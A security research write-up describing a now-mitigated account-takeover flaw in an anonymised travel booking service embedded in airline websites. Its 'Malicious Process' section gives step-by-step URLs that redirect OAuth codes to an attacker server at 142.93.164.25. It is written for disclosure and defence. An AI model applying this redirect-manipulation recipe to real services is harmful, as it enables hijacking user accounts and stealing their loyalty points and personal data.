Account takeover of a third-party service provider may put millions of airline users worldwide at risk.
Summary
Salt Labs has identified an account takeover vulnerability in a popular online top-tier travel service for hotel and car rentals. The service is integrated into dozens of commercial airline online services and allows airline users to add hotel bookings to their airline itinerary. By exploiting this flaw, attackers can gain unauthorized access to any user’s account within the system, effectively allowing them to impersonate the victim and perform an array of actions on their behalf, including booking hotels and car rentals using the victim’s airline loyalty points, canceling or editing booking information, and more. This vulnerability can be exploited through a malicious link bypassing the travel service’s security checks. Attackers may distribute this link via email, text messages, or on attacker-controlled websites to lure victims. Once the link is clicked and following a successful authentication to the official airline service, the attacker gains full access to the user’s account within the travel system. This vulnerability might have put millions of online airline users at risk. Following our research and coordinated disclosure process, the online travel service has identified, confirmed, and addressed the risks, which are now confirmed to have been mitigated.
Disclaimer
Following the Salt Labs team’s coordinated disclosure, this report will be completely anonymized in order to comply with the request for anonymity by the world-class travel company referenced.
Motivation
The world of online services is amazing. It wouldn’t be an understatement to say that it alone has changed the lives of millions of people. Today, instead of walking into a grocery store, you can simply purchase everything you need through a mobile application, and in just a short time, it will arrive at your doorstep. The benefits of online services seem to be never-ending; however, what must be taken into consideration are the Application Programming Interface (APIs) associated with such services. APIs are, in simple terms, the language in which these online services speak. If you look underneath your mobile application hood, you will see that this is exactly what is happening behind the scenes. While this amazing functionality provides obvious value to online users, the potential does not actually stop there.You see, these services can be trivially used by the end-consumer, but they can also be used by other services. Think about it for a second: a grocery store offering a delivery service. Did the grocery store get into the delivery business? Well, not necessarily. In fact, in most cases, the answer is no. But if you’re a grocery store, why let that put you down? If they can’t offer a delivery service themselves, they can always use a third-party delivery service. All you need to do is connect their online store to an online delivery service and let this service handle all the logistics, they just need to provide the details and boom, they now have an online grocery store that provides delivery service. The nicest thing about it is that their customers are completely unaware of the steps taken to establish the service, for all they know, they are interacting only with your online store, nothing else. And so, a huge API ecosystem develops right underneath the noses of customers. Services using other services that are again using other services, and so on. Of course, this is amazing. It provides better services for online customers and a wide range of flexibility options to online businesses in almost any domain. However, it also has a less obvious side effect. Whenever a service-to-service interaction is taking place, some kind of trust must be shared between both parties. In the case of an online grocery store, the delivery details, phone number, and perhaps even the customer’s credit card must be shared with the delivery service provider. From that point on, the grocery store cannot protect this data anymore, as it’s out of their hands, and the users now have to rely on the security of a third-party provider, which, as mentioned, they usually are not even aware of. This, of course, presents a new opportunity for attackers. From their perspective, the attack surface available to them just multiplied, providing more opportunities to find security issues. Imagine that the online grocery store does an amazing job at protecting its online customers, making it very difficult for an attacker to break into the system and steal private customer data. However, now, the attacker can actually choose to attack the delivery service rather than the store itself, as it is a different company; there is a chance that their security controls are not as strict as that of the online store, and if successful, the goal is still achieved as the delivery service now holds all the necessary private information. Such an attack is called an “API Supply Chain Attack,” in which an attacker chooses to attack a weaker link in the service’s API ecosystem. While security professionals have long-known supply-chain attacks, they are far less known to the general public, and we have seen very few actual cases of API supply-chain attacks or technical vulnerabilities published. It’s also important to mention that many governance security controls and policies, such as GDPR, HIPPA, and many others, have been built and implemented throughout the years to address this risk. While they’ve definitely improved the situation and reduced the risk, the problem doesn’t just go away. This is why we decided to tackle this issue: to attempt to find a real-world API supply chain attack that could impact millions of online users. We hope this will shed some more light on this super important topic and raise more awareness of it.
Choosing a Target
So, we set out on a mission to find a real-world API supply chain attack, but where should we start looking for it? We started looking for travel-related online services that provide a third-party integration. Our goal was to find a popular service that shares considerable trust and valuable information from the calling service. After a lot of digging, we found a service that could have been what we were looking for. As mentioned before, we chose to anonymize the service in this article and will henceforth address it as “Acme Travel.” It provides online hotel and car rental booking solutions. After some more searching, we discovered that this service is indeed a popular vendor for many commercial airline services, as well as other retail services. Moreover, integration into this service allows users to book hotels and car rentals using their airline loyalty points, which means this information is trusted and shared between the airline and the Acme Travel service. Amazing, this is just what we were looking for. Obviously, breaking into an airline in an attempt to steal loyalty points would be a very hard task for any attacker, but perhaps this new service, or the connection point between these services, might change this equation. Equipped with motivation and a potential target, we now had everything we needed to start our research. All we needed to do was find a security vulnerability. Let the games begin.
The Plan
From a technical perspective, the best way to achieve our goal was to find an account-takeover scenario on Acme-Travel services. This would allow us to log in directly to the service as any user and act on their behalf, including, of course, issuing hotel and car rental bookings using the user’s airline loyalty points. To achieve that, we first had to better understand the airline service, the Acme-Travel service, and their connection.
Normal Process
Let’s begin by describing the typical login process on an airline website that chose to use the Acme travel service. We have obviously looked into many online airline services. However, for the sake of this research, we will mention a fabricated airline that follows the exact same technical flow as Salt Airlines. At some point, after issuing the initial airline booking, users of Salt Airlines’ main application, www.saltairlines.sec, may choose to add an additional hotel or car-rental booking to their trip. If they choose to do this, they will be redirected to the Acme Travel service integration acme.saltairlines.sec. Note that from a user’s perspective, this is all happening transparently, it’s not trivial to even notice that they are now in a third-party application and no longer on the original Salt Airlines site, as the web design is customized, and the user experience is completely aligned with the original airline service. Once the user is redirected to the Acme-Travel integrated site, they can initiate a login using their airline credentials. At this point, the Acme-Travel backend will generate a link and redirect the user back to the main airline website to perform authentication via an authentication technology called OAuth. Once a successful login takes place, this process retrieves the user’s account information from the airline site, including his/her personal data and loyalty point status. After completing these steps, the user is redirected back into acme.saltairlines.sec, where they can now access and use their airline loyalty points to book hotels and car rentals at their leisure. Here is a technical breakdown of the requests that are generated as part of this process:
- When the user clicks the login button, their browser follows this link:
“
acme.saltairlines.sec/start?tr_returnUrl=https%3A%2F%2Facme.saltairlines.sec%2F&language=en&tr_backend_session=example - The user is then automatically redirected to the official Salt Airlines login page (
www.saltairlines.sec), initiating an OAuth flow:“
www.saltairlines.sec/authorization.oauth2?response_type=code&client_id=acmemiles&state=35b217d3-df3f-4b64-b0ab-1a4382f450b4&redirect_uri=https://acme.saltairlines.sec/ - After successful authentication, the user is redirected to the following link (
tr_returnUrl parameter value), which includes a secret code and ID as query parameters:“
acme.saltairlines.sec/?tr_code=920b677d-00eb-4f68-a58e-5b265ada522d&tr_id=d14b207037b25f497bfdb9139e47312bc06e4e4a&tr_state= - Finally,
acme.saltairlines.sec creates a session cookie (JSESSIONID) by sending a POST request with the code and ID to this endpoint:“
acme.saltairlines.sec/SessionEndpoint Malicious Process
Now that we clearly understand how the services work and interact with each other, it’s time to try to find security issues within the process. By closely examining the authentication flow, we realized that the tr_returnUrl parameter found in the initial login request actually determines where the tr_code and tr_id parameters will be sent to after a successful authentication is complete. As a quick reminder, the tr_code and tr_id parameters are equivalent to the user credentials since an attacker who holds them can log in to the Acme Travel service without any further need for authentication. acme.saltairlines.sec/start?tr_returnUrl=https%3A%2F%2Facme.saltairlines.sec%2F&language=en&tr_backend_session=example In the normal flow, the tr_code and tr_id parameters are sent to the Acme-Travel service, however by manipulating the tr_returnUrl parameter, we attempted to redirect the tr_code and tr_id to a server under our control. If successful this would allow us to capture these credentials, enabling unauthorized access and account hijacking. And it seems it worked! When sending a request with a manipulated tr_returnUrl parameter that points to a server we control, we can see that, indeed, a request from the client is received, which contains both the tr_code and tr_id parameters. This basically allows us to take over an airline user’s account once he successfully authenticates to the airline website. In order to conduct our attack, the following steps are taken:
- In step 1 of the normal login flow, observe the
tr_returnUrl parameter. This value contains the domain that will receive the code and id values after a successful login. In our use case, the original tr_returnUrl is: tr_returnUrl=https%3A%2F%2Facme.saltairlines.sec%2F& - By manipulating this value, an attacker can replace it with a URL under their control, such as:
tr_returnUrl=http://142.93.164.25/evil - The attacker then shares this modified link with the victim using any available communication method, such as email, SMS messages, posts on an online forum, etc. A victim who encounters this link will have very few clues as to the presence of the malicious code, as the link’s domain is the official airline domain, and the request seems completely legitimate. Since the backend server does not validate the
tr_returnUrl domain, it accepts any value as a valid redirect. Consequently, it generates the corresponding Salt Airlines OAuth link: 
6. After the victim successfully authenticates to the official airline page, the code and id values are sent to the attacker-controlled URL. In this case, the request would look like: acme.saltairlines.sec/start?tr_returnUrl=http://142.93.164.25/evil&language=en&tr_backend_session=c077f47e-c60e-45ec-96d7-e512812fa638
7 . The attacker can then use these credentials to obtain a valid session token by making a request to the following endpoint: acme.saltairlines.sec/SessionEndpoint
8. With this session token, the attacker can log into the system as the victim and perform actions on their behalf, including, of course, booking hotels and car rentals using nothing but the victim’s airline loyalty points. 9. Attacker goes on a free vacation 
Notes:
If the victim is already logged in to www.saltairlines.sec, they will be redirected to the attacker’s server with the code and id in a single click, without requiring an additional login. Since the manipulated link uses a legitimate customer domain (with manipulation occurring only at the parameter level rather than the domain level), this makes the attack difficult to detect through standard domain inspection or blocklist/allowlist methods.
Conclusion
This discovered vulnerability enables attackers to take over victim accounts with a single click. While the takeover occurs within the Acme-integrated service, it provides attackers full access to the user’s personally identifiable information (PII) from the main Salt Airlines account, including all mileage and rewards data. Beyond mere data exposure, attackers can perform actions on behalf of the user, such as creating orders or modifying account details. This critical risk highlights the vulnerabilities in third-party integrations and the importance of stringent security protocols to protect users from unauthorized account access and manipulation.
What can I do?
As always, it’s important for us to provide readers who reached this point in our publication with some recommendations as to what they can do in order to prevent being attacked with this and similar API supply chain attack techniques. These recommendations, however, vary depending on what role you play in this API ecosystem.
Service Users
As a user of online services, it is always advisable to use caution when receiving links from untrusted sources, even if the links may appear utterly legitimate at first glance, and even if they lead to legitimate and trusted web sites.
Service Consumers
If your service is consuming or using a third-party service, you should pay special attention to the integration point between these services as well as to the trust relationship between the services and verify that everything meets your desired security standards and that the information shared between the services is mandatory. It is also advisable to perform extra security checks, as well as penetration testing methodologies depending on the type and sensitivity of the relationship between the services.
Service Producers
As a service producer, it is super important to make sure your service and its integration points are well secure. Special attention should be put into the design and implementation steps to ensure security standards are met and correctly implemented. Additionally, it is recommended to consider using a third-party vendor that will be able to automatically identify any existing posture gaps, and anomalous traffic as it occurs to support a more robust layered defense approach.
First seen on securityboulevard.com
Jump to article: securityboulevard.com/2025/01/api-supply-chain-attacks-the-skys-the-limit/
